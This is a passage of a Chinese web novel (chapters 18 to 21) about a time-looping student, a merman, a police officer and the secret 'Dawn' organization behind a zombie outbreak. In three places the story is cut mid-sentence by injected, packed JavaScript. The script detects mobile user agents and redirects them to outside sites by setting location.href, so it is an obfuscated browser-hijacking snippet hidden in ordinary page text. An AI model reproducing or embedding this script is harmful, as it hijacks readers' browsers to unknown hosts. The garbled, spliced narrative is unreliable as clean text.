萧宁抬眼:“我以为已经给了很多提示了。”他基本上将自己知道的都已经说过了。就算事情很急,他也被掏干净了。 安雪却更觉得萧宁知道些什么:“您还需要什么,只要我们能拿得出来的,都可以商量。” 得,这是以为他在嫌弃筹码不够了。 萧宁摩挲了片刻下巴,突然道:“你们就什么都没做?”深深透露出一种对他们的无语和怀疑。 这当然是有的,并且安雪直接将村长那里的村民名册和由村长标注的村子各个房屋的大致分布图都一起带过来了。说她病急乱投医也好,自身能力不足也好。对她来说能够尽快的解决问题,保住大部分人的命,她都觉得可以接受。她不可能完全信任萧宁,但是她赌不起! 除此之外,虽然对方的立场一直都很飘忽,但是就凭萧宁无偿在网上公布重要的信息来提升其他人的存活率,她就愿意赌一赌。 她是真正见过丧尸,和丧尸搏斗过的人。她没有办法抱有侥幸心理将萧宁的话置之不理。 安雪拿来的这份资料很齐全,萧宁只是粗略一看,就大致知道了整个村子的布局。他记性很好,将上一周目自己走过的路重新在这张路线分布图上走了一边,然后按照估计的丧尸密度,划出了一个丧尸异动的源头大致的范围,再拿着名册情况一个个对照起来。 萧宁的视线划过了一个又一个熟悉的名气,却在一个陌生的名字停了下来——何栋才,这个人和一个名叫李文祁的人合作管理着一家农业生态园,草莓、橙子、青菜等东西都可以去他那里现场采摘。 草莓……? 萧宁记得上一周目里面,钱婶子本来想去这家生态园里面摘草莓,但是很奇怪的是这家人就好像失联了一样。 于是,萧宁指着这个名字,问道:“这里原来也有生态园的吗?” 安雪点点头,他们家的生态园确实不错。 没想到萧宁神来一笔:“不然我们下午去这里摘草莓吧。” !!! 安雪差点骂出来了,她知道对方很有可能不在意这些村民的命,但也不至于火烧眉毛了还要去摘草莓吧?要不是有求于人,她真的差点骂出来了。 萧宁感觉到了安雪眼神在骂人,手指极小幅度地摩挲了一下手背,有点尴尬,没办法嘛,不屑一点怎么符合他这人设呢?而且他又不确定,总不能说就是这家嘛,那不对的话就把自己积攒起来的信任给损失掉了。 所以他面上的微笑没有丝毫变化,甚至挑了一下眉毛,似乎在说:咋了?有意见? 安雪表情差点绷不住了,但是最后还是答应了。 萧宁除了带人鱼和成旭年去那个生态园,还叫上安雪一起去,理由是——帮忙买单。 硬了,安姐的拳头感觉都硬了。 但是萧宁假装没看见,他现在口袋比他的脸还白,放过他吧。 这家生态园的草莓又大又红,看着就让人充满了食欲,可是萧宁的目光却始终落在那个中年男人身上。他的表情虽然竭力在保持微笑,但是却非常勉强。 仔细看看,他的眼睛里面的血丝不正常的多,眼下还带着青黑,就好像昨天一夜都没有好好睡觉。 “何老板最近生意不顺利吗?看起来脸色不太好。”萧宁状似随意道。 何栋才一怔,叹了口气:“现在生意不好做啊。” 萧宁笑了。 说谎。 这可真是个老实人,顺水推舟的谎言也表情带着一点不自然。 而且明明上个周目这个时候他应该不见人影才对,这一次安警官查人了,他却又好好呆在这里。 真凑巧啊。 何栋才不知道他在笑什么,脸上的表情有些尴尬。 萧宁却又说:“生意不景气,还要照顾家里的长辈,很不容易啊。” 何栋才点点头:“是啊。”肢体却看起来更松缓了些。 萧宁马上道:“您孩子多大了?要是小的话,那就雪上加霜了。” 何栋才的表情绷住了:“不小啦。”多的话就不说了,好像对萧宁总是谈他的私事有些不乐意了。 萧宁勾了嘴角,摆了摆手:“不打扰您了。” 问完,他却没有去摘草莓,而是问正看着人鱼的安雪:“安警官,你如果先走的话,还能给我们买单吗?” 安雪头也不抬:“我说话算话。” “那行。”萧宁插着兜,声音轻飘飘的,“去何栋才家,他孩子有问题。” 安雪不敢置信地抬起头。 萧宁扣上了一顶从住处翻出来的鸭嘴帽,对上她震颤的瞳孔,挑挑眉:“怎么了?” “我可是守诺的人。” “你给我买单,我给你情报。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033662|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这很公平。” 虽然口称公平,但是萧宁实际上是干了亏本买卖的。比如前一天他无偿通过安雪手机发出去的那条讯息,就真的是没有收任何报酬的。 可是萧宁本来也不是混沌立场的,装个人设不能把自己也骗了,他宁可人设有瑕疵,也是要达到目的的。 而他为了提高末世生存率发出去那条讯息本来是没有掀起任何水花的。 这种恶作剧一般的消息,大家都习以为常了。 各种各样真假难辨的讯息多了去了,国民反诈意识都早就提高了一大截。 他这条信息只能引来一堆谩骂—— “几岁啊?骗骗哥们别把自己也骗了。” “得,又来个一击脱离的。” “这样起号可以,但你父母怎么办?” “都什么年代了,还传这种谣言,九漏鱼吧?” 但是让所有人都没有想到的是,竟然有官方转发了这条消息,第一个是深海市明珠区公安局,接着是深海市公安局……最后竟然连深海市政府官方账号也下场了。 网友都震惊了。 一个令他们毛骨悚然的想法冒了出来——这个账号发出的丧尸有关的消息,该不会是真的吧? 于是民声沸腾,不少人要求要一个清晰的通知来弄清楚这件事情。 但是官方自己也已经焦头烂额,因为几乎在同一时间,丧尸潮已经悄然无息地在城市里面爆发开来。 那些丧尸被发现之时无一例外就已经在学校、超市、电影院和医院等人群密集之处,一旦开始,根本没办法控制。 于是在得到官方答复之前,人们就发现,那则警告里面所说的事情就已经开始出现在了他们身边。 有人因为将信将疑逃过一劫,也有人不屑一顾却亲眼见证了亲人变成怪物,更有人怀疑发出警告的人就是幕后黑手,现在就正隐没在隐蔽处,欣赏着这个世界因为他而生灵涂炭。 事态变化的速度让人猝不及防,似乎只是一两个小时而已,平静的生活就好像被彻底打破。 因此,在深海市政府紧急召开的会议中,深海市副市长梅莓直接建议立马将萧宁邀请到深海市的国家一级研究院中开展研究,遏止这种病毒的蔓延。 “这种时候,时间就是生命!” “每多知道一点信息,就有可能有有数以百计的人因此活下来。” “因此,要立马组建特别工作小组,以最快的速度去把萧博士接到研究院来。” “他现在,非常关键。” 19. 组织 梅莓副市长会议一结束,就立马快步走出会议室,往办公室走去,在那里,她要和应急局的局长谈谈一些应急举措。她的秘书穿着一身黑色西装,也跟了出来,将刚刚打印的一沓最新资料递给她,等梅莓副市长签名之后,又和她确定行程。 她们两个只睡了两个小时就连轴转个不停,事情太多太突然,根本没机会休息。 而且还让她头痛的一件事情是正在这个关头,要去国家部开紧急会议的市长碰到了爆发丧尸潮的机场,直接失联了。谁能知道就这么巧?搞得她一个人直接当几个人用,头都痛了。 梅莓按了按额头,对秘书摆了摆手:“你让小芸跟我今天剩下的行程吧,你先去睡会儿。”她看自己秘书累得眼睛都发直了。 秘书点了点头,回去宿舍眯一下。 但是她没有直接躺倒床上,而是和在宿舍坐着的人打了个招呼:“来了?” 对方没搭腔,说话很直接:“有没有按计划搞定?” 秘书也没理会他这不客气的脾气,语调很公事公办:“当然没问题。马上就有一支武装小队会去接人。” “行。”那人一句话也没多说就走了。 秘书将一直抱着的文件袋丢到床上,闭上了眼睛。 而在草莓地的萧宁也闭上了眼睛。 他不小心吃到了一颗小草莓,酸得他直接表情扭曲。 他身边的人鱼倒是吃得不亦乐乎。 菲利克斯不懂人类在想什么,丧尸对他来说根本没有威胁,毕竟有谁会害怕自己的基因产物。他对这些红红的果子的兴趣要比那些恶心的丧尸要多得多。 这些果子很嫩,微微用力就会有红色的汁水渗出,将他的指尖也染上一点红色。放进嘴里,酸酸甜甜的,不同于他过去吃到的所有东西——鱼、虾或者海草都不是这样的味道。 但好像并不赖。 他吃得腮帮子鼓鼓囊囊的。这时候倒没有野兽的压迫感了,反而显露出一种兽性的天真出来。 成旭年则在任劳任怨地给两位“祖宗”摘更多的草莓——他们吃得实在太快了! 萧宁手上的手机“嗡嗡”震动了两下,一条新的消息弹了出来,是安警官—— “我刚刚收到最新的消息,深海市已经派出了一只武装小队专门来接你去深海市研究所。我们的承诺会尽快兑现的。” 萧宁:? 安雪:“虽然近期多地突然爆发丧尸潮,但是接你这件事情是梅副市长安排的,大家都清楚你很重要,所以也不用太担心。不过估计我说这些也是多余的吧。毕竟你都事先发出警告了,应该心里都有数。” 萧宁:……?多地爆发丧尸潮?不是,不是这里才是源头吗?就算以这里为中心,怎么会突然就多地爆发呢?更何况王礼坚都死了,就算扩散也应该不会要用“爆发”这个词吧? 安雪:“萧博士,我等下来找你。” 萧宁:? 我? 萧博士? 你们世界管大学生叫博士的吗? 萧宁很想摇摇安雪的肩膀,叫她清醒一点。 但是人现在不再面前,想也没用。 相比较而言,有件事情让他更加在意——多地爆发丧尸潮? 萧宁突然站了起来,问一人一人鱼能不能陪他出去一趟?人鱼本来不太感兴趣,但是萧宁一说王礼坚,他就来劲了。 两人一人鱼就顺着来时的路往回走,走到那个秘密通道的出口那里,原本躺在那里的王礼坚的尸体不见了,只剩他的血液仍旧留在原地形成了黑褐色的一片深色痕迹。 萧宁盯着那片痕迹明显的草地,不得不确定了一件事情—— 王礼坚绝对不只是一个人,他的身后应该是一个组织。 当时为了不发生意外,他们都没有再触碰王礼坚的身体,确定他死亡后就离开了。可是他们怕触发王礼坚身上的某些机关,但是他的队友肯定是不怕的,所以在他们离开之后带走了王礼坚的尸体,大概是想做什么来榨干最后一点价值。 不过应该是不会再重生成什么丧尸之类的,毕竟他当时确定成旭年砸的地方是脑袋,就算是丧尸也不能没脑袋。 所以更大的可能是从他身上带走一些针对性的科研物品。 看来应该本来就有人在研究所外面接应王礼坚的,但是他和人鱼出来的及时,那人没敢出来,不然成旭年当时就危险了。 萧宁有些后怕,要是再晚一些,有可能不仅王所长要跑掉,成旭年可能都要丧命,他和人鱼也有可能被堵在通道里面。 不过如果是个组织的话,那一定是想要达成什么目的的。 如果只是王礼坚,那还可以用疯狂科学家来解释,但是一个组织绝不能用这样一个神经的理由来凝聚,更大的可能是有利可图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15033663|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。而且他们图的和雇成旭年来实验的资本、财阀应当也不一样。 按照他们引发丧尸潮的作为来说,他们比起那些雇佣成旭年的人,应当更加疯狂。 他们想要打破秩序? 他们想要利用丧尸来达成一些普通生活他们绝对达不成的目标? 或者他们就是单纯的变态? 不过有组织有脑子的变态啊……想想都觉得难对付。 萧宁抵住下巴,给安雪打了一个电话:“安警官。” “萧博士!”安雪的声音听起来轻松了很多,“我们在何栋才家真的抓到了丧尸,我们来的及时,救下了他老婆。你说的对,问题……” “安警官。”萧宁打断了她,声音难得听起来没有那么轻快,“如果我告诉你,在今晚到明天天亮之前,通讯会全面陷入瘫痪,你能做什么吗?” 电话那头陷入了死寂。 “你、你在开玩笑?”安雪不敢置信地说。 萧宁想了想:“或许不是同步,但是感觉大概率首先深海市是要全部通讯中断的。” 他觉得,这个研究所出现在深海市,是有理由的。 虽然他觉得这不是一个好消息,因为这可能代表着,他从一进游戏,就呆在地方boss的老窝里面。 嗯……而且大概一来就把人家核心人物给搞掉了,还捞走了个核心实验品。 想想都觉得这梁子结大了。 可能今天晚上通讯一断就有人到了要杀他,能不能活过七十二小时都成问题。 嗯…… 萧宁向成旭年伸手:“还有草莓不?”末世可能马上就全面降临,物资紧缺,让他再吃两口。 成旭年:? 他觉得自己一辈子也搞不清楚这些天才在想什么了。 但是手却递给了萧宁一把洗干净的草莓。 萧宁分了人鱼两颗。 然后转头问成旭年:“成所长,你会不会手搓对讲机?” 成旭年:……谢谢你的信任,但是我真的不是某个万能机器猫啊啊啊啊啊! “看来是不行了。”嘴上这么说,但是萧宁的表情看起来却一点都不遗憾。 他伸了个懒腰,语调懒懒却藏着杀气:“没有没事,晚上应该就有人会迫不及待给我们送来了。” “来了就是客。”他笑眯眯的,一字一顿,“得好好招待呀。” 20.抓住 王礼坚躺在台面,衣不蔽体,身上的各种机关都被拆了下来。 吴雨确定那些他研制的东西都还能正常使用,就没再管那具面目全非的尸体。 他和王礼坚可没什么交情,更没有什么为对方收尸的想法,纯粹只是为了回收利用这些重要道具才把对方尸体从草地上拖回来。 不过,吴雨也很清楚,他对王礼坚的死本身并不在意,但是组织内部大概可不这么认为。 光他知道的,“曙光”内部参加“天启”计划的人就不少于一掌之数。 要知道,“天启”实验至今,已经升级了多代,而前面几代的结果都各有缺陷,那些参与了实验的组织人员都等待着王礼坚彻底解决技术难题,把他们身上现在存在的缺陷都纠正过来。就算是没有参与实验的,也希望后面能够依靠自己在组织中的贡献,取得一只真正完整而成功的最终版“天启”药剂。他很早就听说有人就是专门为了“天启”药剂才加入到组织中的。 所以,吴雨非常确定一件事情——王礼坚在“曙光”组织内部,绝对是实打实的技术核心。 现在这个技术核心死了,想想都知道肯定有人要发疯。 事实也的确如此,消息刚传回去,组织内部就炸开了锅。 “天启”在“曙光”内部的重要性可以说组织外的人是很难理解的。那不仅仅是一种渴望,更是一种狂热。 “曙光”最开始由创始人成立的时候所声称的口号,就是要创造一个新的世界。而“天启”就是这个新世界的钥匙。 在王礼坚加入“曙光”组织之前,“天启”实验就已经开始了,但是一直都没有进展,然而在王礼坚加入,并且获得了人鱼的部分基因之后,事情就变得不一样起来,吴雨就听说现在的“天启”已经有了三代药剂。 第一代药剂会让人变成无理智高攻击的行尸走肉,以极高的传染性扩散到人群中。 第二代药剂可以在使用后仍然让使用者保持原本的理智,但是身体素质什么都不会有什么变化,要说实际的效用,那就是可以改变使用者作为“人类”的气味,让丧尸认为你是同类而不产生任何食欲,便可以在丧尸中行走自如。 第三代药剂是最均衡的药剂,会导致使用者更加冲动,记忆力下降,智力降低,但是能勉强保住理性。除此之外,使用第三代药剂之后,会渴望生食,身体素质强化到丧尸的一半水平,并且获得操控一定范围丧尸的能力。 吴雨觉得这其中吸引了很多人的是“天启”第三代药剂,因为丧尸一半的身体素质意味着,只要能给足够的时间,那些存在身体残疾的人会“重生”。 他们会再一次生长出原本失去的器官,比如手、脚、眼睛,他们将获得真正的心声。而代价不过是变得笨一些且食谱改变。 这种吸引力是无与伦比的。 所以组织内部会有数不胜数的人愿意为组织做事来拼命攒积分,用只有组织内部流通的积分来换取自己“新生”的机会。 他们狂热的支持着“天启”研究,并且期待着“天启”四代的出现和开放兑换。 与此同时,当王礼坚死去,这种期望被打破的时候,所爆发的愤怒也是无法阻挡的。 “怎么可能?王所长死了?” “可是‘天启’计划明明还没有完成!现在的药剂仍旧是存在缺陷的。” “不可能。那个老家伙老奸巨猾怎么可能就这么死了?该不会是没有办法继续实验想悄悄逃走吧?” “吴雨做什么的?他去接人,就接了个死人?” “我攒了积分就等下一代‘天启’药剂,他怎么能死了呢?除了他还有谁能继续实验?” “是谁杀了他?研究所里面不该有任何人是他的对手才对!” “是谁摧毁了我的希望,那我就要摧毁他的希望?那个人是谁?” 组织成员分散各地,但是在得到消息的一刻其中许多都不敢相信自己的眼睛——王礼坚就这么死了? 要知道王礼坚自己本身长期待在实验室,出来也有吴雨接应,一般来说都是不会出问题的。更何况王礼坚是经常在身上塞各种小东西的,遇到一般人想要抓他,都可以趁其不备逃脱。 现在你说这么一个研究核心人员就这么死了?开玩笑吧。 紧急召开视频会议的组织领导也觉得在开玩笑,这么一个隐藏在山里面的研究所,在门禁严格的情况下是怎么冒出了一个人杀了王礼坚的? 视频会议正式开了有一会儿了,谁也没说话。“曙光”首领敲了敲桌子,才有人不情不愿地站了出来—— 红桃Q:“这个事我先出来道个歉,吴雨是我的人,他没把王所长好好地带出来,是我们的问题。我们得认。” 红桃J:“事情也不是这么说的,谁知道人鱼会跟出来呢?要是吴雨不管不顾地站出来,恐怕两个人都失联了,我们都弄不清楚情况呢。” 方块J:“也不能这么推脱责任吧,如果你们多派人去接应王礼坚的话,恐怕也不至于直接让他死在那里。” 红桃J:“这你说的就不对了,最近大家都知道,为了按照计划行事,是所有人都安排出去了,哪里还有人手可以分到王礼坚那边。还是你觉得王礼坚比首领的安排更重要?” 方块J:“我哪里这么说了?!你可不要曲解我的意思!” 首领:“好了。” 争吵声立马停歇了下来。 首领:“我知道大家都辛苦了。发生这种事情实在是意外,也不要在这里吵是谁的责任了。先搞清楚事情的源头吧。梅花A,查到杀王礼坚的人是什么身份了吗?” 梅花A:“首领,我查过了,国家信息库里面没有这个人的信息。” 群内人员面面相觑。梅花A在组织之外的身份可是国家数据库的内部人员,连她都查不到的话…… 首领:“也就是说,我们现在除了他的名字,什么都不知道?” 首领:“噢,不对,或许连名字都不知道是不是真实的。” 没有人敢回答他这话。 首领摆了摆手:“后续再继续查吧,这件事情先放在一边。” 方块A:“首领,我们就这么放过这个萧宁了?他可是杀……”他猛然意识到首领注视着他的目光不善,不甘地闭上了嘴。 首领:“我知道你们在想什么,但是我另外有安排,这件事在我这里就算过去了,你们听懂了吗?” 首领:“要完成伟大的事业,必定要有所牺牲。” 众人应是。 于是在“曙光”内部会议中,王礼坚之死似乎没有引起任何水花。但是面上没有水花并不代表深处没有暗流涌动。 即使在“曙光”首领的安排下,各个组的负责人都传达了他的意思给自己的组员,可是仍旧有组员私底下计划了一场猎杀活动。 方块组有5名人员都被安排到了萧宁所在的区域,其中3名相熟的约定在通讯失灵后就一起去解决掉萧宁。 “TND,老子咽不下这口气,好好的机会给这么个毛都没长齐的小子给毁了,不让他死这儿,老子不甘心。之前都听说了,‘天启’第四代都已经快研究成功了,我积分攒攒就可以兑换没有那么大副作用的药剂了。到时候老子一亮拳头,还有谁敢不听我说话?”一个肌肉隆起的满脸横肉的大块头男人恨恨道。 “是啊是啊,这个愤不泻出去,休息都睡不好啊。”一个尖嘴猴腮的男人在他旁边附和。 另一个路人脸男人却说:“首领都发话了,我们这么做是不是不太好……?” “首领他就是太畏手畏脚了!”壮汉嗤了一声,“现在‘天启’一代病毒都放出去了,我们难道还不知道那病毒威力?根本控制不住的。” “到时候,有‘天启’二代药剂在我们组织手里面,有谁敢不听我们的话,对我们俯首称臣?” “就是就是。”瘦猴应声。 “那杀一个小小的小兔崽子,那又算得了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15037405|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?”壮汉不屑,“更何况,到时候我杀都杀了,还拿我怎么办。难道我们哥几个还抵不过一个杀了我们核心研究院的兔崽子重要?” 壮汉冲路人脸摆了摆手:“你就别操心了。等完成了首领安排的人物,确定整块区域的通讯都瘫痪掉了,我们就一起去把那个萧宁给干掉。” “就他那细胳膊细腿的,干掉他我们哥几个连十分钟都不用花的。” 可路人脸却仍旧忧心忡忡的:“可是听吴雨说人鱼和萧宁是住在一起的。老大,你应该也是看过视频的,那人鱼的战斗力可真的是……” 这次壮汉倒是没有出声了,只呵呵笑了两声,露出一副自信满满的表情,让瘦猴上前。 瘦猴咧着嘴巴,从背包里面掏出了一个袋子,一打开里面竟然是白花花的骨头。 路人脸一怔:“这是?” 瘦猴笑嘻嘻的:“这是我从红桃组拿来的,是从海底捞上来的人鱼骨架。” 壮汉:“我们可是和研究组确定过了,人鱼是认得出来同族的骨架的。有了这个,人鱼必定会乖乖地被我们引走。没了人鱼的萧宁,不过是块任由我们揉捏的豆腐块罢了哈哈哈哈。” 瘦猴也笑得贼兮兮的:“也不怕告诉你,不少人都想着他死呢。要知道,王礼坚当然是可以死的,但是他不能在‘天启’四代出来之前死!这个萧宁既然敢在这个时候惹大家不痛快,那也别怪我们让他不痛快了嘻嘻嘻嘻。” 路人脸点点头,若有所思:“可是等通讯中断之后,我们的通讯设备也会失灵,必须到特定安全屋才能联系上上级和对方。那岂不是不能分开行动了?如果这样让萧宁逃了怎么办?” 瘦猴看了壮汉一眼,都笑了:“这个也有人给我们了。” 壮汉拿了三个轻巧的对讲机,一人递了一只:“有了这个,我们就可以分散行动了。” “等到通讯一断,我们就立马行动,保管杀他们个猝不及防。” “等到他们发现人死了的时候,我们早就离开这个区了。” 他们互相点点头,脸上都带着势在必得的笑容。 待到夜幕降临,几乎所有人都陷入深眠的时候,“曙光”的大规模行动开始了。 以深海市为中心,共计5个市都几乎在同一时间中断了通讯,一种极为霸道的病毒攻击了通讯网络,迅速导致了通讯瘫痪。然后在通讯中断之后,许多光纤电缆都被破坏,通讯网络在极短的时间里面陷入了瘫痪。 而方块的3人组也在完成了任务之后来到了何家村。 为了防止直接被暴怒的人鱼撕成碎片,他们按照研究组的建议,将带来的人鱼骨骸埋在了村子之外的地方,然后分开,静静等待人鱼的离开。 过了大约十几分钟,路人脸突然发现了一个披着斗篷,快速从屋子离开的身影。对方太快了,要不是斗篷下面藏不住的鱼尾巴,他都不敢说那就是人鱼。 路人脸呼吸都变得急促起来,立马通知另外两个人进去,免得被人鱼堵在屋里,那真的是被撕成碎片都不冤枉。 他们分头行动,将整个屋子里里外外都搜索了一边,连成旭年都绑起来了,可是就是没有找到萧宁的一点影子。 要不是身上还带着萧宁的照片反复比对,他们甚至都以为自己搞错人了,被他们绑着的才是萧宁,可是照片一拿出来,他们就骗不了自己了。 三个人在一起碰头,你看看我,我看看你,最后壮汉忍不住了:“该死的吴雨不会骗我们的吧?那个萧宁在哪里?他根本不在这里。” 路人脸白着脸,他已经想到了某种可能:“可是人鱼确实在这里,也确实离开了……会不会……” 他还没说完,本来被他们重新关上的门被一尾巴拍飞,直接落在了他们的身前,发出巨大的声音。 三人抬起脸,血液几乎都要凝固了。 两个影子在门口出现,盯着他们。 萧宁假笑:“看来,来的不是客人,是讨人厌的虫子啊。” 21.1号存档点 萧宁是真的生气了。 这些人,怎么可以用同族的骸骨来吸引人鱼出去? 他一开始的心情都是比较轻松的,因为如果有人真的想要杀他,那第一件事情就必定是要把他和人鱼分开,而平时他们确实也是分开房间休息的。 但是都知道有人可能最近要杀他了,他怎么可能还非要自己一个人呆在房间里面,他又不是不清楚自己的武力值。所以他赖也要赖在人鱼的房间里面。 所幸,人鱼用一种非常疑惑的眼神看了他半天,还是默许了他这个在鱼看来非常奇怪的举动。 萧宁也不想被人鱼想成某个骚扰人员,还是和他解释了一下这是因为有人可能要对他下手,他呆在他的房间里面会更安全一些。 不过萧宁觉得人鱼好像在想一些别的东西,不过无所谓了,能留下来就行。 然后他就半夜被人鱼捞起来,享受了一把半夜被夹在胳膊底下夜半飞车的待遇。 连睡衣都没来得及换。 连外套都没来得加。 阿嚏! 他环抱着瑟瑟发抖的自己,就看着人鱼堪称表情狰狞地挖土挖出一袋子东西。这个时候他脑袋还因为被强制开机有点木木的。 可是当袋子被打开的时候,萧宁一下就清醒了。 我靠! 袋子里面是白花花的骨头,有某一节很明显不是人类的骨头,而更像是巨型鱼类的骨头。再配合那个头骨,谁还能不明白这具骨头来源于一具死去的人鱼。 这条死去的人鱼会和他身边的人鱼是什么关系?萧宁不敢深想,但是不管是什么关系,他们都一定是同族,对彼此的血脉有着感应。 不然人鱼不会深夜被突然吸引到这里。 萧宁有些不忍抬头去看人鱼的表情,他低垂着眼,见到人鱼的掌心已经被自己的指甲割出鲜血,正缓慢地顺着他的指骨往下流。 他有心说些什么安慰的话语,可是光是他人类的身份,他就已经没有任何立场开口了。 最终他们两个站在深夜的寒风中,谁也没说话,还是萧宁冻得瑟瑟发抖,忍不住打了个喷嚏,才唤醒了人鱼的神志。 萧宁发现,他的表情突然就冷静下来了。 菲利克斯确实冷静下来了。 他确实是被同族的气息吸引过来的,这种气息其实已经很淡薄了。他其实出发的时候就已经有了不好的感觉,等到一爪一爪将土刨出来的时候,他就已经几乎没有希望了。 果然…… 这并不是活着的同族散发出来的气息,这是一具已经死去很久的同族的骨骸。 他所想的,能再找到一个同族,都不过是痴人说梦。 这个世界上的人鱼,确确实实,只剩他一条了。 不管发生什么,他都孤立无援。 再没有可以用人鱼语交流的生物,夜半的低语也不会有谁听得懂,古老的人鱼歌谣将会消散在历史的尘埃里面,人鱼的求偶舞蹈也不会再有生物能够明白其意义。 明明都是早就告诉过自己的事情,此时却觉得格外的寒冷。 菲利克斯站在寒冷寂静的黑夜里面,一动都不想动。 好像什么都没有意义了。 直到那声喷嚏惊醒了他,让他意识到再不把脆弱的人类带回去,对方恐怕就要冻死在这里了(大雾)。 于是菲利克斯把萧宁裹在自己斗篷底下带了回去,等回到院子,更是直接把斗篷给了萧宁,他要不是为了避免引起恐慌,也根本不用披斗篷的。 萧宁就踩着斗篷过长的边缘,看着那3个看见人鱼就脸都变白了,哆嗦着话都说不出来了。 萧宁扭过头,正想说什么,却突然发现有什么红色的光点在他的视野内一闪而过。 他一惊,下一瞬间就趴下了身体。 “咚、咚、咚。”三个重物落地的声音在安静的夜晚格外突兀。 萧宁抬头,那3个被他们堵在院子里的人已经全部都倒了下来,他们的眼睛还睁得大大的,带着恐惧和不可思议,眉心的血洞流出了鲜血,很快就浸染了地面。 萧宁再回头,那个狙击手已经不知道跑到哪里去了。 菲利克斯并没有去追,他对谁杀了这些人并不在乎。或者说,他其实并不在乎他们拿骸骨来引他出去这件事情。他们人鱼一族对自己或者别鱼的骨头都并不算在意。 鲸鱼有一物落,万物生的说法。 他们都在这种观念下长大。 他们以其他鱼为食而长大,等他们死了,也将成为其他鱼的食物,他们的骨头会慢慢地化为大海的一部分。这都是再正常的事情了。 他会将同族的骨骸带回大海,但也仅仅是如此了。 就算在路上哪里遗失了,其实也没有什么关系,那代表他的同族或许会变成一株树,或者一颗草莓,总之会变成其他生物的养料。 那也很好。 他将来也会这样。 萧宁却仍旧注视着刚刚狙击手应该在的地方。他的表情有些严肃,这样迅速击杀同伴来避免机密泄露的风格,怎么看这个组织都不是好对付的样子啊。 而且,算是他的直觉吗? 总觉得,这个事情还没有结束。 然而就像是在说萧宁是想多了一样,在继安雪警官找到村内的丧尸源头,引走人鱼潜入屋内想要暗杀萧宁的三人被狙击手杀掉之后,就如同危机都被解除了一样,第二天都平静无波,没有任何异常发生。 甚至因为萧宁给安雪提前示警,有几个基站破坏不完全就被抓到了破坏者,部分地区的通讯网络以较快的速度恢复了。 好像一切都很快地变好了。 日常如同什么都没发生一样,又开始平静无波地开始重复。 收到的好像都是好消息。 萧宁躺在床上,却怎么也睡不着,好像有什么潜意识在拼命地和他响警报,但是他又抓不住那一点灵感。 此时距离七十二小时结束已经只剩一天的时间了。 只要度过剩下的时间,他至少能保证不管怎么样都能继续游戏。 但是,究竟是什么呢? 萧宁努力地想要抓住那一点灵感,却徒劳无功。 肯定有什么不对。 然而,这不对是什么,萧宁直到夜幕降临也没有灵感将事情串联起来。 待到凌晨时分的时候,菲利克斯却突然坐起,将身边睡得迷迷糊糊的的萧宁也给惊醒。萧宁询问发生什么事情了,菲利克斯没有说话,只是定定望着一个方向。 萧宁立马起身,从窗户那里望去,什么也看不见。于是,他干脆穿好衣服,爬到顶楼,远远眺望,有一条黑色的队伍绵延在黑暗中,严严实实地,将整个何家村都围了起来,包括他们这栋在极其边缘位置的房子。 这一瞬间,萧宁知道自己久思不解的是什么了。 即使是平静,也过于平静了。 不管怎么样,在丧尸潮一次又一次地扩散爆发之后,位于研究所旁边的这座村庄过分平静本身就是不对。因为不管怎么样,在丧尸密度上来以后,都应该会继续跑到游荡的丧尸。 除非,有什么把他们组织了起来。 或许他之前想错了,组织起丧尸对村子进行攻击的,并不是王所长,而是他的接头人。 而王所长所制造的药剂,并不只是具有高传染性的丧尸病毒药剂,还有更高等级的,可以使人获得操控丧尸能力的药剂。不过也是,如果制造的药剂只能将恐慌和死亡扩散,那这种药剂又该怎么实现这背后组织的目的呢? 更有可能的是他们是拥有了迭代多次的药剂之后,才正式开启的这个计划。 萧宁的脊背阵阵发凉。 他看着那成群结队的丧尸,不知道那幕后的组织接头人藏着哪里。他怀疑那个之前隐藏在暗处的狙击手就是控制这些丧尸来此的人。 但是就算如此,萧宁还是觉得有什么不对,在有制造病毒来源的实验体人鱼的基础上,按照他的观察,丧尸应该会受到威慑而不敢靠近,就像前几次碰到人鱼就呆呆的丧尸一样。因此如果是为了杀他,用丧尸并不算是一个很好的主意,那为什么要这么做呢?萧宁不信此次行动的背后操控人不知道这个。 等等,如果这次的背后之人真的就是王所长的接头人的话。 他知道了! 萧宁先拿对讲机通知了安雪警官,告知她丧尸围困,做好组织人员抵抗的准备。然后就敲响成旭年的房门,让他一起过来人鱼的房间,把窗帘给拉了起来,没有再观察外面的情况。 外面纷纷杂杂的,可是萧宁他们所在的房间却如同一片禁区一般,始终没有没有人来打扰。 